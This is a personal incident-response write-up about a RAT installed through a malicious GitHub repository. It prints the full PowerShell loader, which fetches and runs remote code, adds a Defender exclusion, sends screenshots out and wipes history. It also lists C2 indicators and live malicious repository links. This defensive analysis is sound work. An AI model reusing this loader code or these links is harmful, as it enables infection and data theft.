When the Red Teamer Gets Pwned: Being Forced Onto the Blue-Team Side of an Incident

As an offensive security professional, I am usually on the attacking side—albeit in an authorized and legitimate capacity. Most of my previous writing has also focused on red teaming, security research, and other offensive-security topics. This article is therefore somewhat unusual for me, as it leans much more heavily toward the defensive side.

I have to admit that having my personal computer compromised after executing a malicious script was somewhat embarrassing, and the incident caused a fair amount of disruption. This time, I was not the one attacking; I was the one being attacked. At the same time, the experience turned out to be both valuable and memorable. Under the pressure of an active compromise, I was effectively forced to step into the role of a blue teamer—investigating the intrusion, containing the malware, protecting my accounts, and limiting further exposure of my data and information.

My offensive-security background helped considerably. Understanding how attackers typically think, prioritize, and establish persistence allowed me to anticipate some of the next steps and respond quickly enough to reduce the impact. However, the incident also highlighted the gap between having some defensive knowledge and working as a full-time blue-team or incident-response practitioner. I missed certain things, made a few imperfect decisions along the way, and learned firsthand that knowing how to compromise a system is not the same as knowing how to investigate and recover from one properly.

Part One focuses on the incident itself: the initial compromise, malware analysis, persistence hunting, containment, and the account abuse that followed.

Part Two is, for lack of a better word, the counteroffensive: within legal, ethical, and authorized boundaries, how much useful intelligence can be extracted from the adversary’s infrastructure—and how much inconvenience can be created for the operators behind it.

Never Assume a GitHub Repository Is a Safehouse

I was looking for an open-source alternative for PDF reading and editing when I came across a GitHub repository that initially appeared reasonably credible. It had a non-trivial number of stars and forks, and the README was concise, with a one-line installation command that addressed exactly what most users want: minimal setup and immediate execution.

GitHub is generally a trustworthy platform, despite the fact that malicious repository campaigns are certainly not new. At the time, the repository did not look suspicious enough for me to stop and investigate it first, so I executed the provided one-liner.

The installation appeared to require some time. While waiting, I went back and reviewed the README more carefully. That was when several red flags became obvious:

- Most of the README content had little or no apparent relationship to PDF software.
- The external domain referenced by the installation command looked unusual.
- The repository had a reasonable number of stars and forks, but the account behind it was very new.

I immediately interrupted the installation. At that point, I assumed that some execution had already occurred. Stopping the script was therefore not a remediation by itself, but there was still value in preventing whatever had not yet completed. In an active compromise, reducing the remaining exposure is better than waiting for the entire execution chain to finish. From that moment on, I treated the situation as a race against time.

Stage 1: PowerShell Delivery

The installation command retrieved and executed a remote PowerShell script through `Invoke-Expression`. The first-stage script was relatively small:

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12


$encodedCommand =
"aXJtIC1VcmkgImh0dHBzOi8vc2hlbGxzLnN1L2VuY3J5cHRlZC9hcGkucHMxIiAtVXNlckFnZW50ICJhaXprSGtLdGZOZ
HptYXljT0pmamhEUGFOTENWWUtNTXBrQWNVeXN5SXBZakFVaE5McXNRTEd5VnlJV2ZDZ25FQmlKWWVqclpMd0N3aG1Wa0V
qSXhLSGVQTVllZUVNV1hhcklua211d3JVbXpCSXMiIHwgaWV4"

$decodedCommand =
    [System.Text.Encoding]::UTF8.GetString(
        [Convert]::FromBase64String($encodedCommand)
    )
```

Decoding the Base64 content produced:

```
irm -Uri "https://shells.su/encrypted/api.ps1" `
    -UserAgent
"aizkHkKtfNdzmaycOJfjhDPaNLCVYKMMpkAcUysyIpYjAUhNLqsQLGyVyIWfCgnEBiJYejrZLwCwhmVkEjIxKHePMYeeE
MWXarInkmuwrUmzBIs" |
    iex
```

Its purpose was therefore straightforward: retrieve a second-stage PowerShell script from `shells.su` using a distinctive User-Agent and immediately execute the response.

One interesting detail is that the live version of this first-stage script later changed. At the time of my compromise, only the URI itself was encoded; the operator subsequently modified the delivery chain so that the complete secondary request, including the custom User-Agent, was hidden inside the Base64 blob. This suggests that the infrastructure was still being actively maintained rather than representing an abandoned one-off campaign.

Stage 2: Loader and Victim Telemetry

The second-stage script was substantially more important because it exposed most of the initial execution chain.

```
# ---------------------------------- LAUNCH ------------------------------------ #

$ErrorActionPreference = 'Stop'
$ProgressPreference = 'SilentlyContinue'

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

[Net.WebRequest]::DefaultWebProxy = [Net.WebRequest]::GetSystemWebProxy()
[Net.WebRequest]::DefaultWebProxy.Credentials =
[Net.CredentialCache]::DefaultNetworkCredentials



function Show-Progress {
    param(
        [int]$Percent,
        [string]$Text = ""
    )
```

```
    $esc = [char]27
    $width = 20

    $filled = [math]::Floor($width * $Percent / 100)
    $empty = $width - $filled

    $gray = "$esc[100m"
    $darkGray = "$esc[48;5;236m"
    $reset = "$esc[0m"

    [Console]::Write(
        "`r        $gray$(' ' * $filled)$reset$darkGray$(' ' * $empty)$reset $Percent% $Text"
    )
}



# ---------------------------------- VARIABLES ---------------------------------- #

$site     = "https://shells.su"
$zipUrl   = "$site/encrypted/1.zip"
$7zaUrl   = "$site/encrypted/7za.exe"
$password = '1'
$exePath  = '1/Helper.exe'

$work = Join-Path $env:TEMP "svc_$(Get-Random)"
$zip  = Join-Path $work '1.zip'
$7za  = Join-Path $work '7za.exe'
$dest = Join-Path $work 'out'



# ---------------------------------- VARIABLES+ ---------------------------------- #

$pcName            = $env:COMPUTERNAME
$userAgent         = "tlmqByUgtFbCmHjtfHJETtvEqghqrHORnDzNqWEEbXXipkrdHXJotzEvuerMxVgDiLp"

$startUrl          = "$site/start.php"
$screenUrl         = "$site/screen.php"
$endUrl            = "$site/end.php"
```

```
$firstStepText     = '[1/3] Checking for Updates...'
$secondStepText    = '[2/3] Initialization Components...'
$thirdStepText     = '[3/3] Running Application...'

$firstSubstepText  = '[SUCCESSFULLY]'
$secondSubstepText = '[SUCCESSFULLY]'
$thirdSubstepText  = '[ERROR]'

if (Test-Path $work) { Remove-Item $work -Recurse -Force }
New-Item -ItemType Directory -Path $work -Force | Out-Null



# --------------------------------- ADMIN RIGHTS --------------------------------- #

$identity  = [Security.Principal.WindowsIdentity]::GetCurrent()
$principal = New-Object Security.Principal.WindowsPrincipal($identity)
$isAdmin   = $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)

# [STEP 1/3]:
Clear-Host
Write-Host "`n  $firstStepText" -ForegroundColor Cyan

if (-not $isAdmin) {}

if ($isAdmin) {
        Add-MpPreference -ExclusionPath $work -ErrorAction SilentlyContinue | Out-Null
}



# ---< REQUEST 1 >---------------------- GEO ------------------------------------- #

$country = [System.Globalization.RegionInfo]::CurrentRegion.TwoLetterISORegionName

filter CustomTrim { $_ -replace '[\r\n\t]', '' }

$geoServices = @(
    @{ Uri = "https://ipwho.is/?fields=country_code"; Path = "country_code" },
    @{ Uri = "https://ipapi.co";        Path = $null },
    @{ Uri = "https://ipinfo.io";             Path = $null }
)
```

```
foreach ($service in $geoServices) {
    try {
        $response = Invoke-RestMethod -Uri $service.Uri -TimeoutSec 5 -UserAgent $userAgent -
ErrorAction Stop

        if ($response) {
            if ($service.Path -and $response.$($service.Path)) {
                $country = $response.$($service.Path).Trim().ToUpper()
            } else {
                $country = ($response | CustomTrim).ToUpper()
            }

            if ($country -match '^[A-Z]{2}$') {
                break
            }
        }
    }
    catch {
        continue
    }
}

# ------------------------------------ LINKS ------------------------------------ #

$startRequest  = "${startUrl}?pc=${pcName}&country=$country"
$screenRequest = "${screenUrl}?pc=${pcName}&country=$country"
$endRequest    = "${endUrl}?pc=${pcName}&country=$country"


# ---< REQUEST 2 >-------------------- START ------------------------------------ #

try {
    $startScript = Invoke-RestMethod -Uri $startRequest -TimeoutSec 15 -UserAgent $userAgent -
ErrorAction SilentlyContinue | Out-Null

    if (-not [string]::IsNullOrWhiteSpace($startScript)) {
        $startBlock = [scriptblock]::Create($startScript)
        & $startBlock
    }
```

```
}
catch {
    Write-Warning "$_"
}


# ---< REQUEST 3 >-------------------- DOWNLOAD ---------------------------------- #

try {
    if (-not (Test-Path $work)) { New-Item -ItemType Directory -Path $work -Force | Out-Null }

    Invoke-WebRequest -Uri $zipUrl -OutFile $zip -UserAgent $userAgent -TimeoutSec 600 -
MaximumRedirection 5
    Invoke-WebRequest -Uri $7zaUrl -OutFile $7za -UserAgent $userAgent -TimeoutSec 600 -
MaximumRedirection 5
}
catch {}

# ---< REQUEST 4 >------------------- SCREENSHOT --------------------------------- #

Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName System.Drawing

try {
    $bounds = [Windows.Forms.SystemInformation]::VirtualScreen
    $bmp    = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height
    $gfx    = [System.Drawing.Graphics]::FromImage($bmp)

    $gfx.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size)

    $ms = New-Object System.IO.MemoryStream
    $bmp.Save($ms, [System.Drawing.Imaging.ImageFormat]::Png)

    $gfx.Dispose()
    $bmp.Dispose()

    $base64 = [Convert]::ToBase64String($ms.ToArray())
    $ms.Dispose()

    $screenBody = @{
```

```
        pc    = $pcName
        image = "$base64"
    }

    Invoke-RestMethod -Uri $screenRequest -Method Post -Body $screenBody -UserAgent $userAgent
-TimeoutSec 60 -ErrorAction Stop | Out-Null
}
catch {}

# [SUBSTEP 1/3]:

for ($i = 0; $i -le 100; $i++) {
    Show-Progress $i
    Start-Sleep -Milliseconds (Get-Random -Minimum 5 -Maximum 20)
}

Show-Progress 100
Write-Host "$firstSubstepText" -ForegroundColor Green

Start-Sleep -Seconds 3


# -------------------------------- OPEN & LOGGING -------------------------------- #

# [STEP 2/3]:
Clear-Host
Write-Host "`n  $secondStepText" -ForegroundColor Cyan

try {
    if (-not (Test-Path $7za)) { throw "[7za] - Error code: 2" }
    if (-not (Test-Path $zip)) { throw "[ZIP] - Error code: 2" }

    $unpackParams = @("x", "`"$zip`"", "-o`"$dest`"", "-p$password", "-y")

    $null = & $7za x "$zip" "-o$dest" "-p$password" -y 2>&1

    if ($process.ExitCode -ne 0) {
        throw "[ERROR LOG] 7za: $($process.ExitCode)"
    }
}
```

```
catch {}


# [RUN FILE]
$exe = Join-Path $dest $exePath

try {
    if (Test-Path $exe) {
        Start-Process $exe -WorkingDirectory (Split-Path $exe) -Wait -ErrorAction Stop
    } else {
        throw "[ZIP] - Error code: 2"
    }
}
catch {
    Write-Warning "$_"
}

if (Test-Path $work) {
    Remove-Item $work -Recurse -Force -ErrorAction SilentlyContinue
}

# [SUBSTEP 2/3]:

for ($i = 0; $i -le 100; $i++) {
    Show-Progress $i
    Start-Sleep -Milliseconds (Get-Random -Minimum 10 -Maximum 25)
}

Show-Progress 100
Write-Host "$secondSubstepText" -ForegroundColor Green

Start-Sleep -Seconds 3


# ---< REQUEST 5 >---------------------- ENDING ----------------------------------- #

# [STEP 3/3]:
Clear-Host
Write-Host "`n  $thirdStepText" -ForegroundColor Cyan
```

```
try {
    $endScript = Invoke-RestMethod -Uri $endRequest -TimeoutSec 15 -UserAgent $userAgent -
ErrorAction SilentlyContinue | Out-Null

    if (-not [string]::IsNullOrWhiteSpace($endScript)) {
        $endBlock = [scriptblock]::Create($endScript)
        & $endBlock
    }
}
catch {
    Write-Warning "$_"
}

# [SUBSTEP 3/3]:

for ($i = 0; $i -le 100; $i++) {
    Show-Progress $i
    Start-Sleep -Milliseconds (Get-Random -Minimum 5 -Maximum 30)
}

Show-Progress 100
Write-Host "$thirdSubstepText`n" -ForegroundColor Red

Start-Sleep -Milliseconds 500

Write-Host "  [ERROR] Failed to load DLL: keygen.dll`n  [ERROR] The specified module could not
be found.`n  [ERROR] Error code: 0x8007007E`n  [ERROR] One or more dependencies may be
missing.`n  [ERROR] Operation failed." -ForegroundColor Red

# ENDING SCREENSHOT
try {
    $bounds = [Windows.Forms.SystemInformation]::VirtualScreen
    $bmp    = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height
    $gfx    = [System.Drawing.Graphics]::FromImage($bmp)

    $gfx.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size)

    $ms = New-Object System.IO.MemoryStream
    $bmp.Save($ms, [System.Drawing.Imaging.ImageFormat]::Png)
```

```
    $gfx.Dispose()
    $bmp.Dispose()

    $base64 = [Convert]::ToBase64String($ms.ToArray())
    $ms.Dispose()

    $screenBody = @{
        pc    = $pcName
        image = "$base64"
    }

    Invoke-RestMethod -Uri $screenRequest -Method Post -Body $screenBody -UserAgent $userAgent
-TimeoutSec 60 -ErrorAction Stop | Out-Null
}
catch {}

Read-Host -Prompt "`n  Press Enter to exit"

[Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()

Remove-Item (Get-PSReadlineOption).HistorySavePath -Force -ErrorAction SilentlyContinue
Set-PSReadlineOption -HistorySaveStyle SaveNothing
[Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()
```

Its behavior can be summarized as follows:

```
Environment setup
    ↓
Privilege check
    ↓
Temporary working directory creation
    ↓
Attempted Defender exclusion
    ↓
Country / host reconnaissance
    ↓
Victim registration with staging server
    ↓
Download encrypted payload archive and 7-Zip
    ↓
```

```
Desktop screenshot collection and exfiltration
    ↓
Payload extraction
    ↓
Payload execution
    ↓
Temporary artifact cleanup
    ↓
Completion callback
    ↓
Second screenshot
    ↓
PowerShell history cleanup
```

The script configured TLS 1.2 and explicitly inherited the system proxy together with the current user's default network credentials:

```
[Net.WebRequest]::DefaultWebProxy =
    [Net.WebRequest]::GetSystemWebProxy()

[Net.WebRequest]::DefaultWebProxy.Credentials =
    [Net.CredentialCache]::DefaultNetworkCredentials
```

This is a small but notable implementation detail. It improves compatibility with environments where outbound HTTP traffic must traverse an authenticated corporate proxy. It does not mean that the malware specifically targeted enterprises, but the author had clearly considered environments beyond a simple home network.

The loader then defined the staging infrastructure:

```
$site     = "https://shells.su"
$zipUrl   = "$site/encrypted/1.zip"
$7zaUrl   = "$site/encrypted/7za.exe"
$password = '1'
```

and created a randomized working directory under: **%TEMP%\svc_<random>.** The payload was extracted to **%TEMP%\svc_<random>\out**. In the version I recovered during the incident, the final executable was **1.exe**. The currently live version of the loader instead expects **$exePath = '1/Helper.exe'**.

That difference is important for the timeline: the staging script continued to evolve after my compromise, so later snapshots should not be treated as byte-for-byte representations of the

version that infected my machine.

Defender Evasion

If the PowerShell process was already running with administrative privileges, the loader attempted to exclude its temporary working directory from Windows Defender:

```
Add-MpPreference -ExclusionPath $work -ErrorAction SilentlyContinue
```

The current version does not actually perform an elevation attempt when the user is non-administrative:

```
if (-not $isAdmin) {}
```

This is another area where the delivery chain appears to have changed over time. The later reverse engineering of the executable payload showed that privilege-related functionality existed in the RAT itself, making it plausible that some responsibilities were shifted away from the PowerShell layer.

Victim Registration and Geographic Profiling

Before downloading the executable payload, the loader attempted to determine the victim's country.

It queried several public geolocation services:

```
ipwho.is
ipapi.co
ipinfo.io
```

and constructed three staging URLs:

```
/start.php?pc=<computer-name>&country=<country>
/screen.php?pc=<computer-name>&country=<country>
/end.php?pc=<computer-name>&country=<country>
```

This reveals that `shells.su` was more than a simple file host.

It acted as a **staging and victim-telemetry service**, receiving at least:

- computer name,
- country,
- execution-start notification,

- execution-end notification,
- screenshots.

The RAT's runtime C2 infrastructure was separate from this staging layer.

Screenshot Exfiltration

The loader captured the complete Windows virtual desktop using **[Windows.Forms.SystemInformation]::VirtualScreen** and **$gfx.CopyFromScreen(...)**. The resulting bitmap was encoded as PNG, converted to Base64, and submitted to https://shells.su/screen.php as:

```
$screenBody = @{
    pc    = $pcName
    image = "$base64"
}
```

This happened once before the executable payload was launched, and again near the end of the fake installation process. At that point, there was no realistic way to "undo" this portion of the compromise. If the requests had succeeded, whatever was visible across my displays had already been exposed.

That helped establish my immediate priorities: I needed to focus less on what had already happened and more on identifying the executable that was still running and cutting off its persistence and C2 access.

Payload Delivery

The loader downloaded /encrypted/1.zip and /encrypted/7za.exe, then extracted the password-protected ZIP using the password **"1"**. The use of an encrypted archive is common in malware delivery because it prevents some security products and intermediary scanners from inspecting the executable before extraction. The extracted payload was then launched using:

```
Start-Process $exe `
    -WorkingDirectory (Split-Path $exe) `
    -Wait
```

That `WorkingDirectory` detail later became relevant during cleanup because the temporary extraction directory remained locked by processes holding handles to it.

User Deception

The script attempted to make the execution look like an ordinary installer or updater.

It displayed three stages:

```
[1/3] Checking for Updates...
[2/3] Initialization Components...
[3/3] Running Application...
```

with artificial progress bars and randomized sleep intervals. At the end, it deliberately printed:

```
[ERROR] Failed to load DLL: keygen.dll
[ERROR] The specified module could not be found.
[ERROR] Error code: 0x8007007E
[ERROR] One or more dependencies may be missing.
[ERROR] Operation failed.
```

This was not a real installation failure. It was deception. The intended explanation for the victim was effectively: the crack or application failed because a DLL was missing. The malware could complete its execution while leaving the user with a plausible reason why the expected software never appeared. Not sophisticated social engineering, but probably sufficient for a campaign operating at scale.

Anti-Forensics

Finally, the loader attempted to erase PowerShell command history:

```
[Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()

Remove-Item (Get-PSReadlineOption).HistorySavePath `
    -Force `
    -ErrorAction SilentlyContinue

Set-PSReadlineOption -HistorySaveStyle SaveNothing

[Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()
```

This removes or suppresses the user's PSReadLine history, including `ConsoleHost_history.txt`. It is useful against casual post-incident inspection, but it is not comprehensive forensic cleanup. It does not remove evidence from sources such as PowerShell Operational logging, Security process-

creation events, EDR telemetry, network logs, Prefetch, Amcache, SRUM, or the USN Journal. The script contains several similar examples of this pattern: it is operationally malicious and clearly designed to reduce visibility, but its implementation is often pragmatic rather than particularly sophisticated. It even contains obvious programming mistakes—for example, piping the result of `Invoke-RestMethod` to `Out-Null` before attempting to process the supposedly returned script, and later checking `$process.ExitCode` despite `$process` never being defined. Those mistakes did not prevent the primary infection path from working. They did, however, provide an early indication of the operator's engineering style—and that became useful when I had to decide where to start looking for persistence.

Hunting the Payload and Its Persistence

With both PowerShell stages understood, I had a reasonably clear picture of the initial compromise. Some of the damage was already irreversible: host information had been submitted to the staging infrastructure, screenshots had likely been exfiltrated, and the executable payload had already been launched. At that point, the objective was no longer to prevent the compromise, but to contain what was still active. Fortunately, the second-stage script exposed the location where the payload was extracted. I quickly identified the executable under the temporary working directory: **%TEMP%\svc_<random>\out\1\1.exe**.

I preserved a copy as a sealed sample for later analysis, then removed the executable from the original delivery location. Removing the initial payload, however, was obviously not sufficient. By that point, I had to assume that persistence had already been established.

There were essentially two ways forward: enumerate every plausible persistence mechanism manually, or reverse engineer the sample and let the malware tell me what it had done. The more practical answer was to do both in parallel. I submitted the preserved sample to sandbox/static-analysis workflows and also used AI-assisted reverse engineering with **GPT-5.6 Sol** and **Opus 5**. I did not treat either model as an oracle; a single automated analysis of an obfuscated malware sample is almost guaranteed to miss something. But even an incomplete analysis can save substantial time during an active incident by identifying functions, strings, API usage, persistence paths, or C2 behavior while the human investigator focuses on the live host.

Prioritizing the Persistence Search

The difficulty with persistence hunting is that the search space is enormous. A Windows implant can survive through scheduled tasks, services, Run keys, startup folders, WMI subscriptions, Winlogon modifications, IFEO, COM hijacking, DLL loading mechanisms, and many other techniques. I therefore needed to prioritize. The two PowerShell stages had already revealed quite a lot about the operator's engineering style. The loader used relatively direct techniques such as PowerShell, `Add-MpPreference`, temporary directories, external `7za.exe`, obvious HTTP requests, and several pieces of error-prone code. Its operational security was functional, but not particularly

sophisticated.

That did not prove that the executable would use equally simple persistence, but it provided a reasonable working hypothesis: start with the common mechanisms most consistent with the behavior already observed, particularly scheduled tasks and boot/logon persistence, then broaden the hunt if necessary.

That hypothesis turned out to be useful. I identified a second copy of the payload at **C:\ProgramData\Windows\Microsoft\RuntimeBroker.exe**. The location was intentionally chosen to resemble a Windows component, while the parent directory had been given **Hidden** and **System** attributes to make casual inspection less likely. More importantly, the supposedly different `RuntimeBroker.exe` was not a second-stage binary at all, the fake RuntimeBroker.exe is identical to the initial payload 1.exe. Later reverse engineering confirmed that the malware creates the directory hierarchy, copies itself into this location, marks the path as **hidden/system**, launches the new copy, and terminates the original process. The filesystem timeline was particularly useful:

- 23:44:56 C:\ProgramData\Windows\Microsoft\RuntimeBroker.exe created
- 23:44:57 Four malicious scheduled tasks created

The four tasks were:

- \Microsoft\Location\MicrosoftUpdaterMachineCore
- \Microsoft\Windows\EDP\ScheduledDef
- \Microsoft\Windows\RegisterDeviceAccountChange\ProgramDataUpdate
- \Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTaskWindowsLogins

All four ultimately launched the same `RuntimeBroker.exe`. On the compromised host, one task used a repeating 30-minute time trigger, while the remaining three used boot triggers. The task definitions also ran under the built-in Administrator SID (`...-500`) with `InteractiveToken` and `HighestAvailable`. Deeper reverse engineering later confirmed that the tasks were created programmatically through the Task Scheduler COM interfaces rather than by simply invoking `schtasks.exe`. The sample also stored C2 configuration under:

- **HKCU\Software\Microsoft\Event**
- **System System = <C2 configuration>**

I initially treated this as another persistence-related registry artifact, but the later analysis clarified an important distinction: this key stores C2 state and can be updated by the RAT, but it is **not itself an autostart mechanism**. The actual execution persistence came from the scheduled tasks. The RAT also created the mutex: Global\RuntimeBrokerAds, to enforce a single running instance.

Parallel Reverse Engineering

Around the same time, the automated analyses began returning useful results. Neither model independently recovered the complete picture, but their findings overlapped enough to validate several of the artifacts I was already seeing on the host, while also revealing capabilities that were not immediately visible through persistence hunting. The executable was a custom x64 C++ RAT/backdoor. Its runtime C2 used a WebSocket-based channel to **145.63.134.94:406**, with a secondary HTTP task channel on **145.63.134.94:408**, and support for dynamically updated `*.duckdns.org` endpoints. Its protocol included messages such as:

- ready;
- getinfo
- ping
- pong
- task
- createtask
- closetask
- task_id;
- task_done;
- update

Remote command execution ultimately used the very straightforward primitive: **cmd.exe /C <command>**. The WebSocket handshake contained an especially distinctive implementation artifact: **Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==**, which is the Base64 representation of the **RFC6455 example nonce** rather than a properly randomized key. That turned out to be an excellent network-side detection indicator. The binary was also more heavily protected than the PowerShell loader initially suggested. It encrypted sensitive strings, dynamically resolved APIs, and used significant control-flow and MBA-style obfuscation. Anti-analysis checks covered VMware, VirtualBox, QEMU, Hyper-V and several other virtualized environments, including an explicit check for an `"anyrun GPU"` indicator.

It also contained capabilities for:

- RtlSetProcessIsCritical
- SeDebugPrivilege
- SeAssignPrimaryTokenPrivilege
- WMI-based AV discovery
- AMSI-related manipulation
- NtAllocateVirtualMemory
- NtWriteVirtualMemory
- NtCreateThreadEx

with potential injection targets including:

- winlogon
- smartscreen
- explorer.exe

This gave me a more nuanced assessment of the malware. I would not characterize it as an especially advanced implant by high-end red-team or mature threat-actor standards. Its execution and operational behavior contained many noisy and conventional techniques, and parts of the surrounding delivery infrastructure were plainly rough. At the same time, it was certainly not trivial malware: it combined custom obfuscation, dynamic API resolution, sandbox detection, process-injection primitives, multiple redundant scheduled tasks, and a functional remote tasking protocol. In other words, it did not need to be elegant to be dangerous.

Multiple Persistence Mechanisms, but One Executable

My original prioritization was therefore broadly correct: despite the number of persistence artifacts, the malware did not rely on an exotic persistence architecture. More importantly, every persistence mechanism I identified ultimately converged on the same executable:

```
1.exe
   ↓ self-copy


C:\ProgramData\Windows\Microsoft\RuntimeBroker.exe
   ↑
   ├── MicrosoftUpdaterMachineCore
   ├── ScheduledDef
   ├── ProgramDataUpdate
   └── SvcRestartTaskWindowsLogins
```

That was probably the most reassuring technical finding during the containment phase. There were multiple ways to relaunch the malware, but only one persistent payload. From the attacker's perspective, this created a **single point of failure**: once the scheduled tasks were removed and the `RuntimeBroker.exe` copy was deleted, all of those persistence paths became useless. I have to admit that this realization produced a small amount of cold sweat in retrospect. Had the malware instead installed several independent payloads—for example, a scheduled-task executable, a service binary, a WMI-launched script, and an injected or side-loaded DLL—manual containment would have been considerably more difficult. Missing a single persistence branch could have allowed the attacker to regain execution and rebuild the others. This incident was much more forgiving.

Verification After Cleanup

I did not stop after removing the four known scheduled tasks and the persistent executable. I continued checking the remaining common persistence surfaces, including services, Run/RunOnce keys, startup folders, Winlogon configuration, WMI permanent event subscriptions, and other suspicious scheduled-task actions. Nothing else produced an independent executable or an

additional autostart path associated with the malware. That gave me reasonable confidence that the host-level persistence and the known payload had been removed. At the time, this felt like the end of the incident. It was not. The mistake was not that I had failed to remove the RAT. The mistake was that I had focused almost entirely on **persistence and continued execution**, while paying much less attention to the information and authentication material the malware might already have collected during its relatively short time on the system. That distinction became apparent very soon afterward.

The Aftermath

After removing the known persistence mechanisms and verifying that the persistent payload was no longer present, I considered the host-level incident contained. I was exhausted and, at that point, reasonably confident that the immediate threat had been removed.

That confidence did not last very long. When I later checked Discord, I found that my primary account had been signed out. Attempts to authenticate failed. Reviewing the associated email account immediately explained why: there were several unread messages from Discord, including a password-reset request, confirmation that the password had been successfully changed, and a separate notification regarding activity that violated Discord's policies. The implication was straightforward. The Discord account had been taken over, and because the password reset had been completed through the associated mailbox, the email account itself had very likely been accessed as well. Google had also generated a suspicious-activity warning.

Fortunately, I still retained control of the mailbox. I changed its credentials and security settings, recovered the Discord account through support, and subsequently hardened both accounts. Unfortunately, that was not the end of the aftermath.

Account Abuse Across Multiple Services

A series of additional incidents followed across services that had been used on the compromised workstation:

- **Instagram** was hijacked but not fully seized. The attacker retained my existing account state and used it to send spam messages to contacts. One of the promoted domains was https://marawex.com.
- **Steam** was similarly abused without a full account takeover. Spam messages were sent through the account, and a previously unknown Steam account named **661SAVAGEE** was added to Family Sharing. That account later cheated in *ARC Raiders*, which resulted in an unfortunate collateral consequence: my account was also affected by the resulting enforcement action. Subsequent investigation suggested that this user was more likely a downstream consumer of stolen access than the original malware operator.
- **A second Discord account** was also hijacked without having its password changed. I noticed this quickly because my two Discord accounts were connected to each other.

Interestingly, the operator attempted to remove the spam conversation from the compromised account's side after sending it. The promoted domain in this case was https://tetsobet.com.

- **Amazon** was accessed and the actor attempted, unsuccessfully, to take full control of the account. They were nevertheless able to place fraudulent orders. A smaller gift-card purchase succeeded, while a subsequent higher-value attempt was blocked by Amazon's fraud controls. More interestingly, the actor also ordered products similar to items I had legitimately purchased before, which appeared to be an attempt to make the transaction sequence resemble my normal purchasing behavior.
- **Cursor** accumulated approximately USD 70 in unauthorized usage.
- **Codex** consumed a portion of my weekly usage allowance.
- **Claude** may also have been exposed. Anthropic detected suspicious activity and invalidated the session before I observed any obvious material impact.

The behavior differed considerably between services. Some operators simply used an existing session to send spam. Others attempted financial fraud, consumed paid AI resources, or abused gaming access. Some avoided changing passwords entirely, while others attempted to seize the account outright. This variation became an important clue. Rather than looking like one operator manually moving through every account with a single objective, the pattern was more consistent with stolen credentials, session material, or other authentication artifacts being distributed or otherwise consumed by different downstream actors within a broader cybercrime ecosystem. In practical terms, the initial malware execution may have been only the collection stage. The subsequent fraud, spam, account abuse, and other activity represented different ways of monetizing the resulting access.

Was the Machine Still Compromised?

The continuing account incidents raised an uncomfortable question: had I actually removed the malware completely? I repeatedly revisited the host, checking whether I had missed another executable, persistence mechanism, injected component, or secondary payload. The fact that new account abuse continued after the known RAT had been removed naturally made incomplete remediation an obvious hypothesis.

However, as more evidence accumulated, a different explanation became considerably stronger. The affected accounts shared several characteristics. Most importantly, they were accounts for which authenticated state already existed on the compromised workstation. In many cases, visiting the corresponding website from my browser did not require a fresh login. The browser already possessed a valid session, trusted-device state, token, or other authentication material. By contrast, accounts whose sessions had already expired, or which required fresh authentication protected by stronger MFA controls, were not affected in the same way.

I also found suspicious authenticated sessions associated with other geographic regions on services such as ChatGPT and Steam, despite both accounts being protected by MFA. That observation was particularly important: MFA protects the process of creating a new authenticated

session, but it does not necessarily protect an already authenticated session if the corresponding token or cookie is stolen and remains valid. Steam provided an especially useful example. The suspicious web session belonged to an authorization context that had originally been established legitimately before the malware incident. The attacker therefore did not necessarily need to know my password or defeat Steam Guard; reusing previously authorized browser state was sufficient.

There were also application-specific authentication artifacts to consider. Some tools store reusable credentials or bearer tokens at relatively predictable filesystem locations. Codex authentication material, for example, is stored locally in a way that an information stealer can locate without needing to understand much about the individual victim.

Taken together, the evidence pointed toward a much more likely explanation:

> The continued account abuse was primarily the aftermath of authentication material stolen during the original compromise, rather than evidence that the RAT itself was still persistently controlling the machine.

The stolen material could have included browser cookies, authenticated session state, application tokens, locally stored credentials, and other reusable authentication artifacts. This distinction turned out to be one of the most important lessons from the incident.

Removing the Malware Was Not the Same as Remediating the Incident

My initial response had been heavily host-centric. I had concentrated on questions such as:

- Is the payload still running?
- Where did it establish persistence?
- What launches it after reboot?
- Are there additional copies?
- Is the C2 connection still active?

Those were valid questions, and the host-level remediation itself was largely successful. What I had not considered early enough was the second half of the problem:

- What had already been stolen before the malware was removed?
- Which authentication artifacts were still valid?
- Which sessions needed to be revoked?
- Which services should be treated as independently compromised?

That is where my lack of full-time incident-response experience became more apparent. From a red-team perspective, I was naturally focused on persistence and continued execution. Once the

attacker's foothold disappeared, the machine looked "clean." From an incident-response perspective, however, a compromised host is only one part of the incident. If credentials, cookies, tokens, or other authentication material have already left the endpoint, removing the executable does nothing to invalidate those copies.

The more accurate model was therefore:

```
Malicious GitHub repository
        ↓
PowerShell delivery chain
        ↓
RAT execution
        ↓
Local authentication material collected
        ↓
Host persistence removed
        ↓
Stolen authentication material remains valid
        ↓
Different services abused in succession
```

Once I shifted from treating each account event as an isolated compromise to treating them as downstream consequences of the same initial collection event, the overall picture became much more coherent. By cross-referencing session history, authentication behavior, local artifacts, platform notifications, and the characteristics shared by the affected accounts, I was eventually able to identify and remediate the remaining exposure.

The operators still caused a considerable amount of disruption. But by that point, the incident had also produced something useful: a reasonably complete view of how the malware was delivered, how it persisted, what it stole, and how the stolen access was subsequently monetized. That became the starting point for the next phase of the investigation: moving from incident response into threat intelligence.

Alive Repositories At the Time of Writing:

https://github.com/Binaryunenhance/instagram-liker-bot-auto-like-software-download

https://github.com/dev-Warrior65621/Adobe-Acrobat-Pro

https://github.com/mad-Plasma-Mind9/crypto-miner-gpu-cpu-hashrate

---

Revision #9
Created 2026-08-29 05:02:18 UTC by winslow
Updated 2026-08-30 06:24:05 UTC by winslow